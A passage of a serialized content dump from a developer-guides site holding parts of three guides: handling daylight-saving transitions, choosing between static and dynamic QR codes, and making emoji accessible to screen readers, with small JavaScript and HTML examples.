hour\n",[1560,95089,95090],{"class":1562,"line":343},[1560,95091,1702],{"emptyLinePlaceholder":363},[1560,95093,95094],{"class":1562,"line":365},[1560,95095,95096],{},"# Right: subtract UTC times or use aware datetimes\n",[1560,95098,95099],{"class":1562,"line":889},[1560,95100,95101],{},"duration = utc_end - utc_start  # Always correct\n",[11,95103,95105],{"id":95104},"common-bugs-and-fixes","Common Bugs and Fixes",[193,95107,95108,95119],{},[196,95109,95110],{},[199,95111,95112,95115,95117],{},[202,95113,95114],{},"Bug",[202,95116,59374],{},[202,95118,3690],{},[211,95120,95121,95132,95143,95154,95165],{},[199,95122,95123,95126,95129],{},[216,95124,95125],{},"Daily report skips a day",[216,95127,95128],{},"Report scheduled at 2:30 AM local — skipped during spring forward",[216,95130,95131],{},"Schedule in UTC or shift to 3:00 AM local",[199,95133,95134,95137,95140],{},[216,95135,95136],{},"Duplicate entries in logs",[216,95138,95139],{},"Fall-back creates two 1:00 AM hours; both written with same local string",[216,95141,95142],{},"Use UTC timestamps in logs",[199,95144,95145,95148,95151],{},[216,95146,95147],{},"Hourly rate overcharges",[216,95149,95150],{},"3-hour window spans fall back; naive counting treats 2 AM as a new hour",[216,95152,95153],{},"Use UTC intervals for billing",[199,95155,95156,95159,95162],{},[216,95157,95158],{},"Time-range query returns duplicates",[216,95160,95161],{},"BETWEEN on local timestamps matches the repeated hour twice",[216,95163,95164],{},"Query on UTC column instead",[199,95166,95167,95170,95177],{},[216,95168,95169],{},"Countdown timer jumps",[216,95171,95172,95173,95176],{},"Timer computes ",[143,95174,95175],{},"target - Date.now()"," using local Date objects",[216,95178,1388,95179,95182],{},[143,95180,95181],{},"Date.UTC()"," or epoch milliseconds",[11,95184,95186],{"id":95185},"dst-rules-vary-globally","DST Rules Vary Globally",[16,95188,95189],{},"Not all regions observe DST, and those that do change their rules periodically:",[41,95191,95192,95195,95198,95201],{},[44,95193,95194],{},"United States: second Sunday in March to first Sunday in November",[44,95196,95197],{},"European Union: last Sunday in March to last Sunday in October",[44,95199,95200],{},"Australia (southern hemisphere): first Sunday in October to first Sunday in April (opposite season)",[44,95202,95203],{},"Japan, India, China: no DST",[16,95205,95206],{},"Never hardcode transition dates. Always use a timezone database (IANA tzdata) that is regularly updated. Most operating systems and language runtimes ship with tzdata and update it periodically.",[11,95208,1355],{"id":1354},[41,95210,95211,95214,95217,95220,95223],{},[44,95212,95213],{},"Spring forward creates a missing hour; fall back creates a repeated hour — both break naive time arithmetic.",[44,95215,95216],{},"Store and compute in UTC; convert to local time only for display.",[44,95218,95219],{},"Schedule jobs in UTC or with DST-aware libraries to guarantee execution.",[44,95221,95222],{},"Use UTC intervals for billing, logging, and time-range queries to avoid duplicate or missing records.",[44,95224,95225],{},"Never hardcode DST transition dates — rely on the IANA timezone database.",[11,95227,286],{"id":285},[16,95229,95230,95231,1856,95233,95235],{},"Working with timestamps across timezones? The ",[98,95232,623],{"href":622},[98,95234,960],{"href":89808}," help you visualize transitions and convert between UTC and local times accurately.",[2043,95237,95238],{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}",{"title":141,"searchDepth":337,"depth":337,"links":95240},[95241,95245,95250,95251,95252,95253],{"id":94821,"depth":337,"text":94822,"children":95242},[95243,95244],{"id":94825,"depth":343,"text":94826},{"id":94871,"depth":343,"text":94872},{"id":94907,"depth":337,"text":94908,"children":95246},[95247,95248,95249],{"id":94911,"depth":343,"text":94912},{"id":94999,"depth":343,"text":95000},{"id":95068,"depth":343,"text":95069},{"id":95104,"depth":337,"text":95105},{"id":95185,"depth":337,"text":95186},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},"Prevent bugs during spring forward and fall back with these timezone coding strategies.",{"immutable":363},"\u002Fguides\u002Fdst-transition-handling",{"title":94813,"description":95254},"guides\u002Fdst-transition-handling","JGYvcGIqGkZdtSO-7ktT8b0v4nzRT9caZoS863sFfL0",{"id":95261,"title":95262,"body":95263,"date":2070,"description":95707,"extension":361,"meta":95708,"navigation":363,"path":95709,"readingTime":1710,"seo":95710,"stem":95711,"__hash__":95712},"guides\u002Fguides\u002Fdynamic-vs-static-qr-codes.md","Dynamic vs Static QR Codes",{"type":8,"value":95264,"toc":95700},[95265,95268,95272,95277,95283,95286,95291,95297,95300,95302,95389,95393,95396,95422,95454,95458,95461,95487,95639,95643,95646,95657,95660,95690,95697],[16,95266,95267],{},"A static QR code encodes data directly into its pattern — scan it and you get the exact URL, text, or contact card baked into the image. A dynamic QR code encodes a short redirect URL that forwards to the actual destination, which you can change at any time without reprinting the code. The choice between them affects cost, reliability, tracking capability, and long-term maintainability.",[11,95269,95271],{"id":95270},"how-each-type-works","How Each Type Works",[16,95273,95274],{},[47,95275,95276],{},"Static QR code:",[135,95278,95281],{"className":95279,"code":95280,"language":140},[138],"Scan → QR pattern → \"https:\u002F\u002Fexample.com\u002Fspring-sale-2026\" → Landing page\n",[143,95282,95280],{"__ignoreMap":141},[16,95284,95285],{},"The URL is encoded as-is. The QR pattern is determined entirely by the data. Change the destination and you need a new QR code.",[16,95287,95288],{},[47,95289,95290],{},"Dynamic QR code:",[135,95292,95295],{"className":95293,"code":95294,"language":140},[138],"Scan → QR pattern → \"https:\u002F\u002Fqr.service\u002Fx\u002Fabc123\" → Server redirect → \"https:\u002F\u002Fexample.com\u002Fspring-sale-2026\" → Landing page\n",[143,95296,95294],{"__ignoreMap":141},[16,95298,95299],{},"The QR pattern encodes only the short redirect URL. The server at that URL responds with an HTTP 301 or 302 redirect to the real destination. Change the redirect target on the server and the same QR code routes to a new page.",[11,95301,70069],{"id":70068},[193,95303,95304,95316],{},[196,95305,95306],{},[199,95307,95308,95310,95313],{},[202,95309,5867],{},[202,95311,95312],{},"Static",[202,95314,95315],{},"Dynamic",[211,95317,95318,95327,95338,95348,95358,95368,95379],{},[199,95319,95320,95323,95325],{},[216,95321,95322],{},"Destination changeable",[216,95324,6117],{},[216,95326,3057],{},[199,95328,95329,95332,95335],{},[216,95330,95331],{},"Offline scanning",[216,95333,95334],{},"Yes (if URL is simple)",[216,95336,95337],{},"No (requires DNS\u002Fredirect)",[199,95339,95340,95343,95345],{},[216,95341,95342],{},"Scan analytics",[216,95344,6117],{},[216,95346,95347],{},"Yes (server-side tracking)",[199,95349,95350,95353,95355],{},[216,95351,95352],{},"Geographic targeting",[216,95354,6117],{},[216,95356,95357],{},"Yes (redirect by location)",[199,95359,95360,95363,95365],{},[216,95361,95362],{},"Long-term dependency",[216,95364,22317],{},[216,95366,95367],{},"Depends on redirect service",[199,95369,95370,95373,95376],{},[216,95371,95372],{},"Maximum data",[216,95374,95375],{},"~4,296 alphanumeric chars",[216,95377,95378],{},"Limited by short URL length",[199,95380,95381,95383,95386],{},[216,95382,16397],{},[216,95384,95385],{},"Free to generate",[216,95387,95388],{},"Often subscription-based",[11,95390,95392],{"id":95391},"when-to-use-static-qr-codes","When to Use Static QR Codes",[16,95394,95395],{},"Static codes are the right choice when:",[41,95397,95398,95404,95410,95416],{},[44,95399,95400,95403],{},[47,95401,95402],{},"The destination will never change."," A vCard, Wi-Fi credentials, or a permanent product manual URL should be static. There is no reason to add a redirect layer for content that will not move.",[44,95405,95406,95409],{},[47,95407,95408],{},"Offline access matters."," A static QR code encoding Wi-Fi credentials works even when the user has no internet connection — their phone reads the SSID and password directly from the code. A dynamic QR code requires connectivity to resolve the redirect.",[44,95411,95412,95415],{},[47,95413,95414],{},"You need long-term reliability."," A QR code on a gravestone, a building cornerstone, or a printed book should be static. Redirect services go out of business, change pricing, or shut down accounts. A static QR code works as long as the destination URL is valid.",[44,95417,95418,95421],{},[47,95419,95420],{},"Privacy is a concern."," Static QR codes reveal no data to third parties. Every scan of a dynamic QR code hits the redirect service's servers, creating a record of when and where the code was scanned.",[135,95423,95425],{"className":1607,"code":95424,"language":1609,"meta":141,"style":141},"\u002F\u002F Generating a static QR code — no server dependency\nconst qrData = 'WIFI:T:WPA;S:OfficeNetwork;P:s3cur3P@ss;;'\n\u002F\u002F This encodes Wi-Fi credentials directly\n\u002F\u002F Scan it offline → phone connects automatically\n",[143,95426,95427,95432,95444,95449],{"__ignoreMap":141},[1560,95428,95429],{"class":1562,"line":1563},[1560,95430,95431],{"class":1649},"\u002F\u002F Generating a static QR code — no server dependency\n",[1560,95433,95434,95436,95439,95441],{"class":1562,"line":337},[1560,95435,8180],{"class":1669},[1560,95437,95438],{"class":1576}," qrData",[1560,95440,8186],{"class":1669},[1560,95442,95443],{"class":5634}," 'WIFI:T:WPA;S:OfficeNetwork;P:s3cur3P@ss;;'\n",[1560,95445,95446],{"class":1562,"line":343},[1560,95447,95448],{"class":1649},"\u002F\u002F This encodes Wi-Fi credentials directly\n",[1560,95450,95451],{"class":1562,"line":365},[1560,95452,95453],{"class":1649},"\u002F\u002F Scan it offline → phone connects automatically\n",[11,95455,95457],{"id":95456},"when-to-use-dynamic-qr-codes","When to Use Dynamic QR Codes",[16,95459,95460],{},"Dynamic codes are the right choice when:",[41,95462,95463,95469,95475,95481],{},[44,95464,95465,95468],{},[47,95466,95467],{},"The destination will change."," A restaurant menu, an event schedule, or a promotional landing page needs updates. Reprinting menus, flyers, or packaging every time a URL changes is wasteful and slow.",[44,95470,95471,95474],{},[47,95472,95473],{},"You need scan analytics."," Dynamic QR services track scan count, time, device type, location, and unique vs. returning visitors. This data informs marketing decisions — which placements drive the most scans, which times of day see peak activity, whether weekend or weekday campaigns perform better.",[44,95476,95477,95480],{},[47,95478,95479],{},"You want A\u002FB testing."," A dynamic QR code can redirect different percentages of scans to different landing pages. Test two headlines, two offers, or two layouts without printing separate QR codes.",[44,95482,95483,95486],{},[47,95484,95485],{},"You need geographic targeting."," A global brand can redirect scans from Europe to a EU-specific landing page and scans from Asia to a regional page, all from the same printed QR code.",[135,95488,95490],{"className":1607,"code":95489,"language":1609,"meta":141,"style":141},"\u002F\u002F Dynamic QR setup conceptual flow\nconst shortUrl = 'https:\u002F\u002Fqr.brand.co\u002Fx\u002Fabc123'\nconst destinations = {\n  default: 'https:\u002F\u002Fbrand.com\u002Fpromo',\n  EU: 'https:\u002F\u002Fbrand.com\u002Feu\u002Fpromo',\n  ASIA: 'https:\u002F\u002Fbrand.com\u002Fasia\u002Fpromo',\n}\n\n\u002F\u002F Server-side redirect logic (simplified)\nfunction handleScan(request) {\n  const region = detectRegion(request.ip)\n  const target = destinations[region] || destinations.default\n  logScan(request) \u002F\u002F Analytics tracking\n  return redirect(302, target)\n}\n",[143,95491,95492,95497,95509,95520,95530,95540,95550,95554,95558,95563,95577,95592,95609,95620,95635],{"__ignoreMap":141},[1560,95493,95494],{"class":1562,"line":1563},[1560,95495,95496],{"class":1649},"\u002F\u002F Dynamic QR setup conceptual flow\n",[1560,95498,95499,95501,95504,95506],{"class":1562,"line":337},[1560,95500,8180],{"class":1669},[1560,95502,95503],{"class":1576}," shortUrl",[1560,95505,8186],{"class":1669},[1560,95507,95508],{"class":5634}," 'https:\u002F\u002Fqr.brand.co\u002Fx\u002Fabc123'\n",[1560,95510,95511,95513,95516,95518],{"class":1562,"line":343},[1560,95512,8180],{"class":1669},[1560,95514,95515],{"class":1576}," destinations",[1560,95517,8186],{"class":1669},[1560,95519,1571],{"class":1570},[1560,95521,95522,95525,95528],{"class":1562,"line":365},[1560,95523,95524],{"class":1570},"  default: ",[1560,95526,95527],{"class":5634},"'https:\u002F\u002Fbrand.com\u002Fpromo'",[1560,95529,11943],{"class":1570},[1560,95531,95532,95535,95538],{"class":1562,"line":889},[1560,95533,95534],{"class":1570},"  EU: ",[1560,95536,95537],{"class":5634},"'https:\u002F\u002Fbrand.com\u002Feu\u002Fpromo'",[1560,95539,11943],{"class":1570},[1560,95541,95542,95545,95548],{"class":1562,"line":1710},[1560,95543,95544],{"class":1570},"  ASIA: ",[1560,95546,95547],{"class":5634},"'https:\u002F\u002Fbrand.com\u002Fasia\u002Fpromo'",[1560,95549,11943],{"class":1570},[1560,95551,95552],{"class":1562,"line":1717},[1560,95553,1585],{"class":1570},[1560,95555,95556],{"class":1562,"line":1747},[1560,95557,1702],{"emptyLinePlaceholder":363},[1560,95559,95560],{"class":1562,"line":2507},[1560,95561,95562],{"class":1649},"\u002F\u002F Server-side redirect logic (simplified)\n",[1560,95564,95565,95567,95570,95572,95575],{"class":1562,"line":2524},[1560,95566,8648],{"class":1669},[1560,95568,95569],{"class":1566}," handleScan",[1560,95571,1688],{"class":1570},[1560,95573,95574],{"class":2219},"request",[1560,95576,9345],{"class":1570},[1560,95578,95579,95581,95584,95586,95589],{"class":1562,"line":2529},[1560,95580,28057],{"class":1669},[1560,95582,95583],{"class":1576}," region",[1560,95585,8186],{"class":1669},[1560,95587,95588],{"class":1566}," detectRegion",[1560,95590,95591],{"class":1570},"(request.ip)\n",[1560,95593,95594,95596,95599,95601,95604,95606],{"class":1562,"line":2534},[1560,95595,28057],{"class":1669},[1560,95597,95598],{"class":1576}," target",[1560,95600,8186],{"class":1669},[1560,95602,95603],{"class":1570}," destinations[region] ",[1560,95605,82344],{"class":1669},[1560,95607,95608],{"class":1570}," destinations.default\n",[1560,95610,95611,95614,95617],{"class":1562,"line":2542},[1560,95612,95613],{"class":1566},"  logScan",[1560,95615,95616],{"class":1570},"(request) ",[1560,95618,95619],{"class":1649},"\u002F\u002F Analytics tracking\n",[1560,95621,95622,95624,95627,95629,95632],{"class":1562,"line":2558},[1560,95623,9350],{"class":1669},[1560,95625,95626],{"class":1566}," redirect",[1560,95628,1688],{"class":1570},[1560,95630,95631],{"class":1576},"302",[1560,95633,95634],{"class":1570},", target)\n",[1560,95636,95637],{"class":1562,"line":2570},[1560,95638,1585],{"class":1570},[11,95640,95642],{"id":95641},"the-long-term-risk-of-dynamic-qr-codes","The Long-Term Risk of Dynamic QR Codes",[16,95644,95645],{},"Dynamic QR codes introduce a critical dependency: the redirect service. Consider these scenarios:",[41,95647,95648,95651,95654],{},[44,95649,95650],{},"The QR service shuts down. Every printed dynamic QR code becomes a dead link overnight.",[44,95652,95653],{},"The service is acquired and pricing changes dramatically. You are locked in because your QR codes are printed.",[44,95655,95656],{},"The service experiences downtime. Scans during outages hit an error page instead of your content.",[16,95658,95659],{},"Mitigation strategies:",[77,95661,95662,95672,95678,95684],{},[44,95663,95664,95667,95668,95671],{},[47,95665,95666],{},"Use your own domain for the short URL."," If the redirect service allows custom domains (e.g., ",[143,95669,95670],{},"qr.yourbrand.com\u002Fx\u002Fabc123","), you can switch providers by updating DNS without reprinting codes.",[44,95673,95674,95677],{},[47,95675,95676],{},"Export redirect mappings."," Keep a local backup of all short URL → destination mappings so you can recreate them on another service if needed.",[44,95679,95680,95683],{},[47,95681,95682],{},"Choose services with longevity signals."," Established companies with revenue models beyond QR codes are less likely to disappear.",[44,95685,95686,95689],{},[47,95687,95688],{},"Hybrid approach for mixed needs."," Use static QR codes for permanent content and dynamic QR codes only where changeability or analytics genuinely justify the dependency.",[16,95691,95692,95693,95696],{},"Generate both static and dynamic QR codes at ",[98,95694,95695],{"href":95695},"\u002Ftools\u002Fqr-code-generator",", which provides encoding options for URLs, text, Wi-Fi credentials, vCards, and more with customizable error correction levels.",[2043,95698,95699],{},"html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .s4XuR, html code.shiki .s4XuR{--shiki-default:#E36209;--shiki-dark:#FFAB70}",{"title":141,"searchDepth":337,"depth":337,"links":95701},[95702,95703,95704,95705,95706],{"id":95270,"depth":337,"text":95271},{"id":70068,"depth":337,"text":70069},{"id":95391,"depth":337,"text":95392},{"id":95456,"depth":337,"text":95457},{"id":95641,"depth":337,"text":95642},"When to use dynamic QR codes with redirect URLs versus static encoded content.",{},"\u002Fguides\u002Fdynamic-vs-static-qr-codes",{"title":95262,"description":95707},"guides\u002Fdynamic-vs-static-qr-codes","nVKUTHvE6Q2O2ImpBcQSL1tTXEOJ3WY_61aIddXLBFg",{"id":95714,"title":95715,"body":95716,"date":2070,"description":96202,"extension":361,"meta":96203,"navigation":363,"path":96204,"readingTime":1710,"seo":96205,"stem":96206,"__hash__":96207},"guides\u002Fguides\u002Femoji-accessibility-guide.md","Emoji Accessibility Best Practices",{"type":8,"value":95717,"toc":96184},[95718,95722,95728,95731,95737,95740,95746,95749,95753,95756,95818,95821,95825,95829,95832,95838,95841,95845,95848,95854,95858,95861,95867,95870,95874,95877,95937,95941,95944,95970,95973,95977,95980,96015,96018,96022,96025,96063,96070,96074,96117,96121,96124,96142,96145,96147,96175,96177,96182],[11,95719,95721],{"id":95720},"the-accessibility-problem-with-emoji","The Accessibility Problem With Emoji",[16,95723,95724,95725,95727],{},"Emoji look like small images, but technically they are Unicode characters — text, not graphics. This means they lack the ",[143,95726,12681],{}," attribute that images use for accessibility. Screen readers handle emoji by announcing their official Unicode name, which can produce confusing or verbose output.",[16,95729,95730],{},"Consider this sentence:",[135,95732,95735],{"className":95733,"code":95734,"language":140},[138],"Great job on the release! 🎉🚀✨\n",[143,95736,95734],{"__ignoreMap":141},[16,95738,95739],{},"A screen reader announces:",[95741,95742,95743],"blockquote",{},[16,95744,95745],{},"\"Great job on the release! party popper emoji rocket emoji sparkles emoji\"",[16,95747,95748],{},"The three emoji add six words of audio output for information the user already gathered from the text. Worse, excessive emoji at the end of social media posts can produces minutes of meaningless announcements.",[11,95750,95752],{"id":95751},"how-screen-readers-handle-emoji","How Screen Readers Handle Emoji",[16,95754,95755],{},"Each emoji has a Unicode name that assistive technology reads aloud. These names are descriptive but often wordy:",[193,95757,95758,95768],{},[196,95759,95760],{},[199,95761,95762,95765],{},[202,95763,95764],{},"Emoji",[202,95766,95767],{},"Screen Reader Output",[211,95769,95770,95778,95786,95794,95802,95810],{},[199,95771,95772,95775],{},[216,95773,95774],{},"👍",[216,95776,95777],{},"\"thumbs up\"",[199,95779,95780,95783],{},[216,95781,95782],{},"🎉",[216,95784,95785],{},"\"party popper\"",[199,95787,95788,95791],{},[216,95789,95790],{},"🔥",[216,95792,95793],{},"\"fire\"",[199,95795,95796,95799],{},[216,95797,95798],{},"💡",[216,95800,95801],{},"\"light bulb\"",[199,95803,95804,95807],{},[216,95805,95806],{},"✅",[216,95808,95809],{},"\"check mark button\"",[199,95811,95812,95815],{},[216,95813,95814],{},"🏳️‍🌈",[216,95816,95817],{},"\"white flag, rainbow\" (two characters)",[16,95819,95820],{},"Compound emoji — flags, family combinations, skin-tone variants — produce particularly long announcements. The family emoji 👨‍👩‍👧‍👦 reads as \"man, woman, girl, boy\" because it is composed of four individual emoji joined by zero-width joiners.",[11,95822,95824],{"id":95823},"guidelines-for-accessible-emoji-use","Guidelines for Accessible Emoji Use",[33,95826,95828],{"id":95827},"limit-emoji-quantity","Limit Emoji Quantity",[16,95830,95831],{},"The most impactful thing you can do is use fewer emoji. Each one adds audio clutter:",[135,95833,95836],{"className":95834,"code":95835,"language":140},[138],"❌ \"Excited to announce our new feature! 🎊🎊🎊🚀🚀🚀✨✨✨\"\n✅ \"Excited to announce our new feature! 🎉\"\n",[143,95837,95835],{"__ignoreMap":141},[16,95839,95840],{},"One emoji conveys the sentiment. Three of each conveys nothing extra but triples the announcement time.",[33,95842,95844],{"id":95843},"place-emoji-after-the-text","Place Emoji After the Text",[16,95846,95847],{},"Screen readers announce content in source order. Placing emoji before text forces users to hear the emoji name before the actual message:",[135,95849,95852],{"className":95850,"code":95851,"language":140},[138],"❌ \"📢 Important update: the deploy is complete.\"\n✅ \"Important update: the deploy is complete. 📢\"\n",[143,95853,95851],{"__ignoreMap":141},[33,95855,95857],{"id":95856},"never-replace-words-with-emoji","Never Replace Words With Emoji",[16,95859,95860],{},"Emoji-as-words break comprehension for screen reader users and anyone with emoji rendering issues:",[135,95862,95865],{"className":95863,"code":95864,"language":140},[138],"❌ \"I ❤️ this feature\"\n✅ \"I love this feature ❤️\"\n",[143,95866,95864],{"__ignoreMap":141},[16,95868,95869],{},"The first version reads \"I heavy black heart emoji this feature\" — the meaning is obscured. The second reads \"I love this feature heavy black heart emoji\" — the text carries the meaning, the emoji reinforces it visually.",[33,95871,95873],{"id":95872},"avoid-emoji-in-links-and-buttons","Avoid Emoji in Links and Buttons",[16,95875,95876],{},"Screen reader users navigate by link text. An emoji in a link gets announced as part of the link label:",[135,95878,95880],{"className":6417,"code":95879,"language":6419,"meta":141,"style":141},"❌ \u003Ca href=\"\u002Fdocs\">📖 Documentation\u003C\u002Fa>\n   → Reads: \"open book emoji Documentation\"\n\n✅ \u003Ca href=\"\u002Fdocs\">Documentation\u003C\u002Fa>\n   → Reads: \"Documentation\"\n",[143,95881,95882,95903,95908,95912,95932],{"__ignoreMap":141},[1560,95883,95884,95887,95889,95891,95893,95896,95899,95901],{"class":1562,"line":1563},[1560,95885,95886],{"class":1570},"❌ \u003C",[1560,95888,98],{"class":2484},[1560,95890,41004],{"class":1566},[1560,95892,7297],{"class":1570},[1560,95894,95895],{"class":5634},"\"\u002Fdocs\"",[1560,95897,95898],{"class":1570},">📖 Documentation\u003C\u002F",[1560,95900,98],{"class":2484},[1560,95902,6441],{"class":1570},[1560,95904,95905],{"class":1562,"line":337},[1560,95906,95907],{"class":1570},"   → Reads: \"open book emoji Documentation\"\n",[1560,95909,95910],{"class":1562,"line":343},[1560,95911,1702],{"emptyLinePlaceholder":363},[1560,95913,95914,95917,95919,95921,95923,95925,95928,95930],{"class":1562,"line":365},[1560,95915,95916],{"class":1570},"✅ \u003C",[1560,95918,98],{"class":2484},[1560,95920,41004],{"class":1566},[1560,95922,7297],{"class":1570},[1560,95924,95895],{"class":5634},[1560,95926,95927],{"class":1570},">Documentation\u003C\u002F",[1560,95929,98],{"class":2484},[1560,95931,6441],{"class":1570},[1560,95933,95934],{"class":1562,"line":889},[1560,95935,95936],{"class":1570},"   → Reads: \"Documentation\"\n",[33,95938,95940],{"id":95939},"use-aria-label-for-decorative-emoji","Use aria-label for Decorative Emoji",[16,95942,95943],{},"When an emoji is purely decorative and adds no information, hide it from screen readers:",[135,95945,95947],{"className":6417,"code":95946,"language":6419,"meta":141,"style":141},"\u003Cspan aria-hidden=\"true\">🎉\u003C\u002Fspan> Release v2.0 is live\n",[143,95948,95949],{"__ignoreMap":141},[1560,95950,95951,95953,95955,95958,95960,95962,95965,95967],{"class":1562,"line":1563},[1560,95952,6431],{"class":1570},[1560,95954,1560],{"class":2484},[1560,95956,95957],{"class":1566}," aria-hidden",[1560,95959,7297],{"class":1570},[1560,95961,81517],{"class":5634},[1560,95963,95964],{"class":1570},">🎉\u003C\u002F",[1560,95966,1560],{"class":2484},[1560,95968,95969],{"class":1570},"> Release v2.0 is live\n",[16,95971,95972],{},"This lets sighted users see the emoji but prevents the screen reader from announcing \"party popper emoji.\"",[33,95974,95976],{"id":95975},"provide-text-alternatives-for-informative-emoji","Provide Text Alternatives for Informative Emoji",[16,95978,95979],{},"When emoji carry meaning, add a visually hidden text alternative::",[135,95981,95983],{"className":6417,"code":95982,"language":6419,"meta":141,"style":141},"\u003Cspan role=\"img\" aria-label=\"warning\">⚠️\u003C\u002Fspan> Service degraded\n",[143,95984,95985],{"__ignoreMap":141},[1560,95986,95987,95989,95991,95994,95996,95999,96002,96004,96007,96010,96012],{"class":1562,"line":1563},[1560,95988,6431],{"class":1570},[1560,95990,1560],{"class":2484},[1560,95992,95993],{"class":1566}," role",[1560,95995,7297],{"class":1570},[1560,95997,95998],{"class":5634},"\"img\"",[1560,96000,96001],{"class":1566}," aria-label",[1560,96003,7297],{"class":1570},[1560,96005,96006],{"class":5634},"\"warning\"",[1560,96008,96009],{"class":1570},">⚠️\u003C\u002F",[1560,96011,1560],{"class":2484},[1560,96013,96014],{"class":1570},"> Service degraded\n",[16,96016,96017],{},"This ensures the meaning (\"warning\") is communicated clearly regardless of how the Unicode name renders.",[11,96019,96021],{"id":96020},"emoji-in-forms-and-status-indicators","Emoji in Forms and Status Indicators",[16,96023,96024],{},"Emoji are sometimes used for status indicators in tables and dashboards. This creates two problems: screen reader announcement and color-dependent meaning.",[135,96026,96028],{"className":6417,"code":96027,"language":6419,"meta":141,"style":141},"❌ \u003Ctd>🟢\u003C\u002Ftd>      → \"green circle emoji\" (which status is this?)\n✅ \u003Ctd aria-label=\"Operational\">🟢\u003C\u002Ftd>\n",[143,96029,96030,96044],{"__ignoreMap":141},[1560,96031,96032,96034,96036,96039,96041],{"class":1562,"line":1563},[1560,96033,95886],{"class":1570},[1560,96035,216],{"class":2484},[1560,96037,96038],{"class":1570},">🟢\u003C\u002F",[1560,96040,216],{"class":2484},[1560,96042,96043],{"class":1570},">      → \"green circle emoji\" (which status is this?)\n",[1560,96045,96046,96048,96050,96052,96054,96057,96059,96061],{"class":1562,"line":337},[1560,96047,95916],{"class":1570},[1560,96049,216],{"class":2484},[1560,96051,96001],{"class":1566},[1560,96053,7297],{"class":1570},[1560,96055,96056],{"class":5634},"\"Operational\"",[1560,96058,96038],{"class":1570},[1560,96060,216],{"class":2484},[1560,96062,6441],{"class":1570},[16,96064,96065,96066,96069],{},"Always pair status emoji with text or an ",[143,96067,96068],{},"aria-label"," that communicates the actual status, not just the color.",[33,96071,96073],{"id":96072},"common-status-patterns","Common Status Patterns",[193,96075,96076,96085],{},[196,96077,96078],{},[199,96079,96080,96082],{},[202,96081,74961],{},[202,96083,96084],{},"Accessible Alternative",[211,96086,96087,96097,96107],{},[199,96088,96089,96092],{},[216,96090,96091],{},"🟢 Operational",[216,96093,96094],{},[143,96095,96096],{},"\u003Cspan aria-label=\"Operational\">🟢\u003C\u002Fspan>",[199,96098,96099,96102],{},[216,96100,96101],{},"🟡 Degraded",[216,96103,96104],{},[143,96105,96106],{},"\u003Cspan aria-label=\"Degraded\">🟡\u003C\u002Fspan>",[199,96108,96109,96112],{},[216,96110,96111],{},"🔴 Down",[216,96113,96114],{},[143,96115,96116],{},"\u003Cspan aria-label=\"Down\">🔴\u003C\u002Fspan>",[11,96118,96120],{"id":96119},"testing-emoji-accessibility","Testing Emoji Accessibility",[16,96122,96123],{},"The fastest way to test is to use a screen reader yourself:",[41,96125,96126,96131,96136],{},[44,96127,96128,96130],{},[47,96129,24209],{},": VoiceOver (Cmd+F5)",[44,96132,96133,96135],{},[47,96134,24176],{},": Narrator (Win+Ctrl+Enter) or NVDA (free download)",[44,96137,96138,96141],{},[47,96139,96140],{},"Mobile",": TalkBack (Android) or VoiceOver (iOS)",[16,96143,96144],{},"Navigate through your content and listen to how emoji are announced. If the output is confusing, redundant, or excessively long, adjust per the guidelines above.",[11,96146,1355],{"id":1354},[41,96148,96149,96152,96155,96158,96161,96169,96172],{},[44,96150,96151],{},"Screen readers announce emoji Unicode names, which can be verbose and confusing.",[44,96153,96154],{},"Limit emoji quantity — each one adds audio clutter with minimal informational value.",[44,96156,96157],{},"Place emoji after text so the message arrives first.",[44,96159,96160],{},"Never replace words with emoji; always provide text that carries the meaning.",[44,96162,1388,96163,96165,96166,96168],{},[143,96164,76320],{}," for decorative emoji and ",[143,96167,96068],{}," for informative ones.",[44,96170,96171],{},"Pair status emoji with text alternatives that communicate meaning, not just 